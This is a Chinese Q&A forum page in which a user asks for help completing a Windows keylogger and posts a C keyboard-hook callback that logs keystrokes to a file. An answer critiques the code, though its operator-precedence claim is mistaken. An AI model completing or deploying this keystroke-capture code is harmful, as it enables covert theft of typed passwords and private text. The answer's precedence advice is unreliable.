0

我正在尝试使用全局键盘挂钩编写一个简单的键盘记录程序。我需要一些帮助来实现键盘挂钩回调函数。到目前为止,我的功能有效,但无法处理按下键但未释放的情况。

LRESULT CALLBACK KeyboardProc( int code,WPARAM wParam,LPARAM lParam ){
    DWORD keyStroke=wParam;
    if(code>=0 && lParam&0x40000000){
        buff[charCount++]=(WCHAR)keyStroke;
        buff[charCount]=L'\0';
        if(charCount==1024 && charCount>0){
            writeCacheToFile(buff,1025);
            charCount=0;
        }
    }
    return CallNextHookEx(NULL,code,wParam,lParam);
}

在这里,我尝试将字符存储在缓冲区中,然后使用 writeCacheToFile 将它们写入文件。

有人可以给我一些处理按键事件的示例代码吗?

任何帮助将不胜感激。

谢谢,阿希什。

4

1 回答 1

1

我没有仔细看,但这里有一个优先级问题;

if(code>=0 && lParam&0x40000000)

你需要;

if( code >= 0 && (lParam & 0x40000000) )

而且,这很奇怪。

if( charCount == 1024 && charCount > 0 )

如果 charCount 是 1024,那么它总是大于 0。

于 2012-05-18T17:27:32.933 回答